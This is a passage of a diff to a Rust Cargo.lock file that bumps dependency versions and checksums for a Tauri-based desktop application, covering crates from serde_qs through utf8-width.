"serde_qs" version = "0.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2813,20 +3515,20 @@ dependencies = [ [[package]] name = "serde_repr" -version = "0.1.12" +version = "0.1.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bcec881020c684085e55a25f7fd888954d56609ef363479dc5a1305eb0d40cab" +checksum = "3081f5ffbb02284dda55132aa26daecedd7372a42417bbbab6f14ab7d6bb9145" dependencies = [ "proc-macro2", "quote", - "syn 2.0.15", + "syn 2.0.39", ] [[package]] name = "serde_spanned" -version = "0.6.1" +version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0efd8caf556a6cebd3b285caf480045fcc1ac04f6bd786b09a6f11af30c4fcf4" +checksum = "12022b835073e5b11e90a14f86838ceb1c8fb0325b72416845c487ac0fa95e80" dependencies = [ "serde", ] @@ -2838,41 +3540,48 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" dependencies = [ "form_urlencoded", - "itoa 1.0.6", + "itoa 1.0.9", "ryu", "serde", ] [[package]] name = "serde_with" -version = "1.14.0" +version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "678b5a069e50bf00ecd22d0cd8ddf7c236f68581b03db652061ed5eb13a312ff" +checksum = "64cd236ccc1b7a29e7e2739f27c0b2dd199804abc4290e32f59f3b68d6405c23" dependencies = [ + "base64 0.21.5", + "chrono", + "hex", + "indexmap 1.9.3", + "indexmap 2.1.0", "serde", + "serde_json", "serde_with_macros", + "time", ] [[package]] name = "serde_with_macros" -version = "1.5.2" +version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e182d6ec6f05393cc0e5ed1bf81ad6db3a8feedf8ee515ecdd369809bcce8082" +checksum = "93634eb5f75a2323b16de4748022ac4297f9e76b6dced2be287a099f41b5e788" dependencies = [ "darling", "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.39", ] [[package]] name = "serde_yaml" -version = "0.9.22" +version = "0.9.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "452e67b9c20c37fa79df53201dc03839651086ed9bbe92b3ca585ca9fdaa7d85" +checksum = "3cc7a1570e38322cfe4154732e5110f887ea57e22b76f4bfd32b5bdd3368666c" dependencies = [ - "indexmap 2.0.0", - "itoa 1.0.6", + "indexmap 2.1.0", + "itoa 1.0.9", "ryu", "serde", "unsafe-libyaml", @@ -2911,10 +3620,21 @@ dependencies = [ ] [[package]] -name = "sha2" +name = "sha1" version = "0.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "82e6b795fe2e3b1e845bafcb27aa35405c4d47cdfc92af5fc8d3002f76cebdc0" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" dependencies = [ "cfg-if", "cpufeatures", @@ -2923,9 +3643,9 @@ dependencies = [ [[package]] name = "sharded-slab" -version = "0.1.4" +version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "900fba806f70c630b0a382d0d825e17a0f19fcd059a2ade1ff237bcddf446b31" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" dependencies = [ "lazy_static", ] @@ -2941,49 +3661,68 @@ dependencies = [ ] [[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] name = "simd-adler32" -version = "0.3.5" +version = "0.3.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "238abfbb77c1915110ad968465608b68e869e0772622c9656714e73e5a1a522f" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" [[package]] name = "siphasher" -version = "0.3.10" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7bd3e3206899af3f8b12af284fafc038cc1dc2b41d1b89dd17297221c5d225de" +checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" [[package]] name = "slab" -version = "0.4.8" +version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6528351c9bc8ab22353f9d776db39a20288e8d6c37ef8cfe3317cf875eecfc2d" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" dependencies = [ "autocfg", ] [[package]] name = "smallvec" -version = "1.10.0" +version = "1.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" +checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" [[package]] name = "socket2" -version = "0.4.9" +version = "0.4.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64a4a911eed85daf18834cfaa86a79b7d266ff93ff5ba14005426219480ed662" +checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" dependencies = [ "libc", "winapi", ] [[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] name = "soup2" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b2b4d76501d8ba387cf0fefbe055c3e0a59891d09f0f995ae4e4b16f6b60f3c0" dependencies = [ - "bitflags", + "bitflags 1.3.2", "gio", "glib", "libc", @@ -2997,7 +3736,7 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "009ef427103fcb17f802871647a7fa6c60cbb654b4c4e4c0ac60a31c5f6dc9cf" dependencies = [ - "bitflags", + "bitflags 1.3.2", "gio-sys", "glib-sys", "gobject-sys", @@ -3021,6 +3760,12 @@ dependencies = [ ] [[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] name = "string_cache" version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3074,9 +3819,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.15" +version = "2.0.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a34fcf3e8b60f57e6a14301a2e916d323af98b0ea63c599441eec8558660c822" +checksum = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a" dependencies = [ "proc-macro2", "quote", @@ -3084,6 +3829,46 @@ dependencies = [ ] [[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "sys-locale" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8a11bd9c338fdba09f7881ab41551932ad42e405f61d01e8406baea71c07aee" +dependencies = [ + "js-sys", + "libc", + "wasm-bindgen", + "web-sys", + "windows-sys 0.45.0", +] + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] name = "system-deps" version = "5.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3098,24 +3883,24 @@ dependencies = [ [[package]] name = "system-deps" -version = "6.0.4" +version = "6.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "555fc8147af6256f3931a36bb83ad0023240ce9cf2b319dec8236fd1f220b05f" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" dependencies = [ - "cfg-expr 0.14.0", + "cfg-expr 0.15.5", "heck 0.4.1", "pkg-config", - "toml 0.7.3", + "toml 0.8.8", "version-compare 0.1.1", ] [[package]] name = "tao" -version = "0.15.8" +version = "0.16.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac8e6399427c8494f9849b58694754d7cc741293348a6836b6c8d2c5aa82d8e6" +checksum = "75f5aefd6be4cd3ad3f047442242fd9f57cbfb3e565379f66b5e14749364fa4f" dependencies = [ - "bitflags", + "bitflags 1.3.2", "cairo-rs", "cc", "cocoa", @@ -3127,6 +3912,7 @@ dependencies = [ "gdk", "gdk-pixbuf", "gdk-sys", + "gdkwayland-sys", "gdkx11-sys", "gio", "glib", @@ -3145,23 +3931,34 @@ dependencies = [ "objc", "once_cell", "parking_lot", - "paste", "png", "raw-window-handle", "scopeguard", "serde", + "tao-macros", "unicode-segmentation", - "uuid 1.3.1", + "uuid", "windows 0.39.0", "windows-implement", "x11-dl", ] [[package]] +name = "tao-macros" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec114582505d158b669b136e6851f85840c109819d77c42bb7c0709f727d18c2" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] name = "tar" -version = "0.4.38" +version = "0.4.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b55807c0344e1e6c04d7c965f5289c39a8d94ae23ed5c0b57aabac549f871c6" +checksum = "b16afcea1f22891c49a00c751c7b63b2233284064f11a200fc624137c51e2ddb" dependencies = [ "filetime", "libc", @@ -3169,14 +3966,20 @@ dependencies = [ ] [[package]] +name = "target-lexicon" +version = "0.12.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14c39fd04924ca3a864207c66fc2cd7d22d7c016007f9ce846cbb9326331930a" + +[[package]] name = "tauri" -version = "1.2.4" +version = "1.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe7e0f1d535e7cbbbab43c82be4fc992b84f9156c16c160955617e0260ebc449" +checksum = "32d563b672acde8d0cc4c1b1f5b855976923f67e8d6fe1eba51df0211e197be2" dependencies = [ "anyhow", - "attohttpc", - "base64 0.13.1", + "base64 0.21.5", + "bytes", "cocoa", "dirs-next", "embed_plist", @@ -3187,8 +3990,8 @@ dependencies = [ "glob", "gtk", "heck 0.4.1", - "http", - "ico", + "http 0.2.11", + "ico 0.2.0", "ignore", "infer 0.9.0", "minisign-verify", @@ -3202,6 +4005,7 @@ dependencies = [ "rand 0.8.5", "raw-window-handle", "regex", + "reqwest", "rfd", "semver", "serde", @@ -3210,6 +4014,7 @@ dependencies = [ "serialize-to-javascript", "shared_child", "state", + "sys-locale", "tar", "tauri-macros", "tauri-runtime", @@ -3217,10 +4022,10 @@ dependencies = [ "tauri-utils", "tempfile", "thiserror", - "time 0.3.20", + "time", "tokio", "url", - "uuid 1.3.1", + "uuid", "webkit2gtk", "webview2-com", "windows 0.39.0", @@ -3229,29 +4034,32 @@ dependencies = [ [[package]] name = "tauri-build" -version = "1.2.1" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8807c85d656b2b93927c19fe5a5f1f1f348f96c2de8b90763b3c2d561511f9b4" +checksum = "defbfc551bd38ab997e5f8e458f87396d2559d05ce32095076ad6c30f7fc5f9c" dependencies = [ "anyhow", "cargo_toml", + "dirs-next", "heck 0.4.1", "json-patch", "semver", + "serde", "serde_json", "tauri-utils", - "winres", + "tauri-winres", + "walkdir", ] [[package]] name = "tauri-codegen" -version = "1.2.1" +version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14388d484b6b1b5dc0f6a7d6cc6433b3b230bec85eaa576adcdf3f9fafa49251" +checksum = "7b3475e55acec0b4a50fb96435f19631fb58cbcd31923e1a213de5c382536bbb" dependencies = [ - "base64 0.13.1", + "base64 0.21.5", "brotli", - "ico", + "ico 0.3.0", "json-patch", "plist", "png", @@ -3264,16 +4072,16 @@ dependencies = [ "sha2", "tauri-utils", "thiserror", - "time 0.3.20", - "uuid 1.3.1", + "time", + "uuid", "walkdir", ] [[package]] name = "tauri-macros" -version = "1.2.1" +version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "069319e5ecbe653a799b94b0690d9f9bf5d00f7b1d3989aa331c524d4e354075" +checksum = "acea6445eececebd72ed7720cfcca46eee3b5bad8eb408be8f7ef2e3f7411500" dependencies = [ "heck 0.4.1", "proc-macro2", @@ -3285,9 +4093,9 @@ dependencies = [ [[package]] name = "tauri-plugin-deep-link" -version = "0.1.1" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "33a3ae55bcfe692e5361edc4708bd9f415270cc02e1cdba8ab7768566208b4e2" +checksum = "4536f5f6602e8fdfaa7b3b185076c2a0704f8eb7015f4e58461eb483ec3ed1f8" dependencies = [ "dirs", "interprocess", @@ -3301,8 +4109,8 @@ dependencies = [ [[package]] name = "tauri-plugin-log" -version = "0.1.0" -source = "git+https://github.com/tauri-apps/plugins-workspace?branch=dev#cea1d4f7b54b94354e8100daf804b810c680efd7" +version = "0.0.0" +source = "git+https://github.com/tauri-apps/plugins-workspace?branch=dev#dce0f02bc571128308c30278cde3233f341e6a50" dependencies = [ "byte-unit", "fern", @@ -3311,13 +4119,13 @@ dependencies = [ "serde_json", "serde_repr", "tauri", - "time 0.3.20", + "time", ] [[package]] name = "tauri-plugin-store" -version = "0.1.0" -source = "git+https://github.com/tauri-apps/plugins-workspace?branch=dev#cea1d4f7b54b94354e8100daf804b810c680efd7" +version = "0.0.0" +source = "git+https://github.com/tauri-apps/plugins-workspace?branch=dev#dce0f02bc571128308c30278cde3233f341e6a50" dependencies = [ "log", "serde", @@ -3328,12 +4136,12 @@ dependencies = [ [[package]] name = "tauri-runtime" -version = "0.12.1" +version = "0.14.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c507d954d08ac8705d235bc70ec6975b9054fb95ff7823af72dbb04186596f3b" +checksum = "07f8e9e53e00e9f41212c115749e87d5cd2a9eebccafca77a19722eeecd56d43" dependencies = [ "gtk", - "http", + "http 0.2.11", "http-range", "rand 0.8.5", "raw-window-handle", @@ -3341,16 +4149,17 @@ dependencies = [ "serde_json", "tauri-utils", "thiserror", - "uuid 1.3.1", + "url", + "uuid", "webview2-com", "windows 0.39.0", ] [[package]] name = "tauri-runtime-wry" -version = "0.12.2" +version = "0.14.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36b1c5764a41a13176a4599b5b7bd0881bea7d94dfe45e1e755f789b98317e30" +checksum = "803a01101bc611ba03e13329951a1bde44287a54234189b9024b78619c1bc206" dependencies = [ "cocoa", "gtk", @@ -3359,7 +4168,7 @@ dependencies = [ "raw-window-handle", "tauri-runtime", "tauri-utils", - "uuid 1.3.1", + "uuid", "webkit2gtk", "webview2-com", "windows 0.39.0", @@ -3368,20 +4177,22 @@ dependencies = [ [[package]] name = "tauri-utils" -version = "1.2.1" +version = "1.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5abbc109a6eb45127956ffcc26ef0e875d160150ac16cfa45d26a6b2871686f1" +checksum = "a52165bb340e6f6a75f1f5eeeab1bb49f861c12abe3a176067d53642b5454986" dependencies = [ "brotli", "ctor", + "dunce", "glob", "heck 0.4.1", - "html5ever", - "infer 0.7.0", + "html5ever 0.26.0", + "infer 0.13.0", "json-patch", - "kuchiki", + "kuchikiki", + "log", "memchr", - "phf 0.10.1", + "phf 0.11.2", "proc-macro2", "quote", "semver", @@ -3391,30 +4202,40 @@ dependencies = [ "thiserror", "url", "walkdir", - "windows 0.39.0", + "windows-version", +] + +[[package]] +name = "tauri-winres" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5993dc129e544393574288923d1ec447c857f3f644187f4fbf7d9a875fbfc4fb" +dependencies = [ + "embed-resource", + "toml 0.7.8", ] [[package]] name = "tauri-winrt-notification" -version = "0.1.2" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f5bff1d532fead7c43324a0fa33643b8621a47ce2944a633be4cb6c0240898f" +checksum = "006851c9ccefa3c38a7646b8cec804bb429def3da10497bfa977179869c3e8e2" dependencies = [ - "quick-xml 0.23.1", - "windows 0.39.0", + "quick-xml 0.30.0", + "windows 0.51.1", ] [[package]] name = "tempfile" -version = "3.5.0" +version = "3.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9fbec84f381d5795b08656e4912bec604d162bff9291d6189a78f4c8ab87998" +checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" dependencies = [ "cfg-if", - "fastrand", - "redox_syscall 0.3.5", - "rustix", - "windows-sys 0.45.0", + "fastrand 2.0.1", + "redox_syscall 0.4.1", + "rustix 0.38.26", + "windows-sys 0.48.0", ] [[package]] @@ -3430,9 +4251,9 @@ dependencies = [ [[package]] name = "termcolor" -version = "1.2.0" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be55cf8942feac5c765c2c993422806843c9a9a45d4d5c407ad6dd2ea95eb9b6" +checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" dependencies = [ "winapi-util", ] @@ -3445,22 +4266,22 @@ checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c" [[package]] name = "thiserror" -version = "1.0.40" +version = "1.0.50" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "978c9a314bd8dc99be594bc3c175faaa9794be04a5a5e153caba6915336cebac" +checksum = "f9a7210f5c9a7156bb50aa36aed4c95afb51df0df00713949448cf9e97d382d2" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.40" +version = "1.0.50" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9456a42c5b0d803c8cd86e73dd7cc9edd429499f37a3550d286d5e86720569f" +checksum = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8" dependencies = [ "proc-macro2", "quote", - "syn 2.0.15", + "syn 2.0.39", ] [[package]] @@ -3475,24 +4296,15 @@ dependencies = [ [[package]] name = "time" -version = "0.1.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" -dependencies = [ - "libc", - "wasi 0.10.0+wasi-snapshot-preview1", - "winapi", -] - -[[package]] -name = "time" -version = "0.3.20" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd0cbfecb4d19b5ea75bb31ad904eb5b9fa13f21079c3b92017ebdf4999a5890" +checksum = "c4a34ab300f2dee6e562c10a046fc05e358b29f9bf92277f30c3c8d82275f6f5" dependencies = [ - "itoa 1.0.6", + "deranged", + "itoa 1.0.9", "libc", "num_threads", + "powerfmt", "serde", "time-core", "time-macros", @@ -3500,15 +4312,15 @@ dependencies = [ [[package]] name = "time-core" -version = "0.1.0" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2e153e1f1acaef8acc537e68b44906d2db6436e2b35ac2c6b42640fff91f00fd" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" [[package]] name = "time-macros" -version = "0.2.8" +version = "0.2.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fd80a657e71da814b8e5d60d3374fc6d35045062245d80224748ae522dd76f36" +checksum = "4ad70d68dba9e1f8aceda7aa6711965dfec1cac869f311a51bd08b3a2ccbce20" dependencies = [ "time-core", ] @@ -3536,19 +4348,19 @@ checksum = "c7c4ceeeca15c8384bbc3e011dbd8fccb7f068a440b752b7d9b32ceb0ca0e2e8" [[package]] name = "tokio" -version = "1.27.0" +version = "1.34.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d0de47a4eecbe11f498978a9b29d792f0d2692d1dd003650c24c76510e3bc001" +checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9" dependencies = [ - "autocfg", + "backtrace", "bytes", "libc", "mio", "num_cpus", "parking_lot", "pin-project-lite", - "socket2", - "windows-sys 0.45.0", + "socket2 0.5.5", + "windows-sys 0.48.0", ] [[package]] @@ -3562,10 +4374,22 @@ dependencies = [ ] [[package]] +name = "tokio-tungstenite" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b2dbec703c26b00d74844519606ef15d09a7d6857860f84ad223dec002ddea2" +dependencies = [ + "futures-util", + "log", + "tokio", + "tungstenite", +] + +[[package]] name = "tokio-util" -version = "0.7.8" +version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" dependencies = [ "bytes", "futures-core", @@ -3586,32 +4410,44 @@ dependencies = [ [[package]] name = "toml" -version = "0.7.3" +version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b403acf6f2bb0859c93c7f0d967cb4a75a7ac552100f9322faf64dc047669b21" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" dependencies = [ "serde", "serde_spanned", "toml_datetime", - "toml_edit", + "toml_edit 0.19.15", +] + +[[package]] +name = "toml" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1a195ec8c9da26928f773888e0742ca3ca1040c6cd859c919c9f59c1954ab35" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.21.0", ] [[package]] name = "toml_datetime" -version = "0.6.1" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3ab8ed2edee10b50132aed5f331333428b011c99402b5a534154ed15746f9622" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" dependencies = [ "serde", ] [[package]] name = "toml_edit" -version = "0.19.8" +version = "0.19.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "239410c8609e8125456927e6707163a3b1fdb40561e4b803bc041f466ccfdc13" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" dependencies = [ - "indexmap 1.9.3", + "indexmap 2.1.0", "serde", "serde_spanned", "toml_datetime", @@ -3619,6 +4455,57 @@ dependencies = [ ] [[package]] +name = "toml_edit" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34d383cd00a163b4a5b85053df514d45bc330f6de7737edfe0a93311d1eaa03" +dependencies = [ + "indexmap 2.1.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tower" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" +dependencies = [ + "futures-core", + "futures-util", + "pin-project", + "pin-project-lite", + "tokio", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0da193277a4e2c33e59e09b5861580c33dd0a637c3883d0fa74ba40c0374af2e" +dependencies = [ + "bitflags 2.4.1", + "bytes", + "http 1.0.0", + "http-body 1.0.0", + "http-body-util", + "pin-project-lite", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-layer" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c20c8dbed6283a09604c3e69b4b7eeb54e298b8a600d4d5ecb5ad39de609f1d0" + +[[package]] name = "tower-service" version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3626,11 +4513,11 @@ checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" [[package]] name = "tracing" -version = "0.1.37" +version = "0.1.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" dependencies = [ - "cfg-if", + "log", "pin-project-lite", "tracing-attributes", "tracing-core", @@ -3638,20 +4525,20 @@ dependencies = [ [[package]] name = "tracing-attributes" -version = "0.1.23" +version = "0.1.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4017f8f45139870ca7e672686113917c71c7a6e02d4924eda67186083c03081a" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.39", ] [[package]] name = "tracing-core" -version = "0.1.30" +version = "0.1.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24eb03ba0eab1fd845050058ce5e616558e8f8d8fca633e6b163fe25c797213a" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" dependencies = [ "once_cell", "valuable", @@ -3659,20 +4546,20 @@ dependencies = [ [[package]] name = "tracing-log" -version = "0.1.3" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "78ddad33d2d10b1ed7eb9d1f518a5674713876e97e5bb9b7345a7984fbb4f922" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" dependencies = [ - "lazy_static", "log", + "once_cell", "tracing-core", ] [[package]] name = "tracing-subscriber" -version = "0.3.16" +version = "0.3.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a6176eae26dd70d0c919749377897b54a9276bd7061339665dd68777926b5a70" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" dependencies = [ "matchers", "nu-ansi-term", @@ -3688,9 +4575,9 @@ dependencies = [ [[package]] name = "treediff" -version = "3.0.2" +version = "4.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "761e8d5ad7ce14bb82b7e61ccc0ca961005a275a060b9644a2431aa11553c2ff" +checksum = "52984d277bdf2a751072b5df30ec0377febdb02f7696d64c2d7d54630bac4303" dependencies = [ "serde_json", ] @@ -3726,10 +4613,39 @@ dependencies = [ ] [[package]] +name = "tungstenite" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e862a1c4128df0112ab625f55cd5c934bcb4312ba80b39ae4b4835a3fd58e649" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http 0.2.11", + "httparse", + "log", + "rand 0.8.5", + "sha1", + "thiserror", + "url", + "utf-8", +] + +[[package]] name = "typenum" -version = "1.16.0" +version = "1.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "uds_windows" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce65604324d3cce9b966701489fbd0cf318cb1f7bd9dd07ac9a4ee6fb791930d" +dependencies = [ + "tempfile", + "winapi", +] [[package]] name = "unicode-bidi" @@ -3739,9 +4655,9 @@ checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" [[package]] name = "unicode-ident" -version = "1.0.8" +version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5464a87b239f13a63a501f2701565754bae92d243d4bb7eb12f6d57d2269bf4" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-normalization" @@ -3759,22 +4675,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" [[package]] -name = "unicode-width" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" - -[[package]] name = "unsafe-libyaml" -version = "0.2.8" +version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1865806a559042e51ab5414598446a5871b561d21b6764f2eabb0dd481d880a6" +checksum = "f28467d3e1d3c6586d8f25fa243f544f5800fec42d97032474e17222c2b75cfa" [[package]] name = "url" -version = "2.3.1" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d68c799ae75762b8c3fe375feb6600ef5602c883c5d21eb51c09f22b83c4643" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" dependencies = [ "form_urlencoded", "idna", @@ -3790,9 +4700,9 @@ checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" [[package]] name = "utf8-width" -version = "0.1.6" +version = "0.1.7" 